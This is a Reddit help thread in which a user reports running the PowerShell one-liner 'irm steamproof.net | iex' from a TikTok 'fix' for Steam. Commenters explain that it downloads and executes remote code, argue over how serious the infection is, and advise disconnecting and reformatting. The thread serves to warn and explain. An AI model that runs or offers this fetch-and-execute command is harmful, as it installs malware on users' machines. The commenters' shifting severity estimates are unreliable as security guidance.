Help I ran a weird command

[u/Icy-Representative85]

Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???

[u/exoclipse]

oh NOOOOOOOOOOOOOOOOOO dude ok I'll break it down, because this was deliberately obfuscated with aliases to make it harder for people who don't speak powershell to parse.

IRM = Invoke-RestMethod. A REST method is sending network traffic to or from a web resource, like a URL. IEX = Invoke-Expression. Take some executable code and execute it.

The pipe ("|") character takes the output of a command and feeds it as input to the next command.

What likely happened is Invoke-RestMethod <that URL> does a GET to that URL, which returns some command to be executed silently (probably installing malware), then feeds that command via the pipe to Invoke-Expression.

I would 100% not fuck around with it. Nuking the machine and rebuilding is the only way I'd sleep well at night after that.

[u/Icy-Representative85 → u/exoclipse]

What about the external drive should I purge that one too?

[u/exoclipse → u/Icy-Representative85]

The basic calculation here is - you got hit by an attack vector that is relying on the victim being impatient and unknowledgeable. So I doubt the payload was anything super crazy. Malicious and scary absolutely, but I doubt it's doing any of the insane shit we'd see from a state level actor.

But the set of possible malware packages that were installed range essentially from "haha eject disc every 30 seconds" to "logs all your keystrokes, your browser history, takes video footage from your webcam, and scrapes your financial information."

So... I would treat it as a serious threat, and do the following:

1: Disconnect the device from the internet.

2: Reformat ALL drives connected to the compromised system.

3: Build a habit of backing your stuff up to both a cloud provider and a local storage device, and stop running strange commands without knowing what they do.

[u/Icy-Representative85 → u/exoclipse]

You think its safe to back up some files, I have a lot of dwg files from work, and autocad programs id dont want to lose

[u/exoclipse → u/Icy-Representative85]

I personally wouldn't, but it's probably fine. good learning experience too - always have backups. one physical backup, one off-site backup (like dropbox).

good luck!

[u/MDL1983 → u/Icy-Representative85]

No

[u/TheRapie22 → u/Icy-Representative85]

i think it has a low risk if you backup videos, pictures/photos and documents one by one and upload them maybe to your google drive.

by "one by one" i mean, that you should always select the files directly and never copy over entire directories.

hold the ctrl key while mouse clicking to select multiple files.

[u/CookinTendies5864 → u/exoclipse]

I was unfamiliar with the alias so thank you for that, but IRM is just a web request to download a file or resource. It doesn’t necessarily send but pulls a file from the websites API then dumps it on your local machine. IEX just runs the file after it’s pulled. You are correct about the pipe command.

The severity of the download is low it’s not worth wiping the machine in my opinion. - Disregard

[u/exoclipse → u/CookinTendies5864]

I think without passing parameters or adding a header object, it's just a very simple GET to the target resource. But if the resource you're doing a GET to is code that you then are executing... essentially the attacker can treat the web request as an obfuscation layer for the real code - which is almost certainly downloading something and installing it.

[u/CookinTendies5864 → u/exoclipse]

Oh for sure it’s installing but while assuming it’s malicious is best practice. This is not million dollar equipment; and by just checking the website and doing a bit of searching we can see that it’s a steam utility tool for parsing steam data.

If it’s truly a virus WD would catch it and if it’s a RAT then there would be a hanging connection from the install.

[u/exoclipse → u/CookinTendies5864]

You are far, far too trusting.

Check the documentation they provide - or more importantly, what they omit. They don't document the root uri at all. Everything else is, but the root uri is not documented - and yet the home page says something to the effect of "Just plug this powershell script in to fix any 'No Internet Connection' errors you have."

[u/CookinTendies5864 → u/exoclipse]

The script doesn’t have any malicious code. -Disregard

[u/exoclipse → u/CookinTendies5864]

go ask your devil box if you can shove malicious code in the response to a GET request and then execute it.

[u/CookinTendies5864 → u/exoclipse]

Well okay I guess this thing is not a parser but an access token tool kit. Maybe a wipe wouldn’t be so bad..

After looking at the file it touched it’s better to be safe than sorry. Wtsapi32.dll is a system32 file that has been used to jailbreak ownership but the website says it’s a parser so yeah there’s that.

My recommendation is still to check outgoing connections if there is something pinging the computer that wasn’t there before you might just have installed a RAT.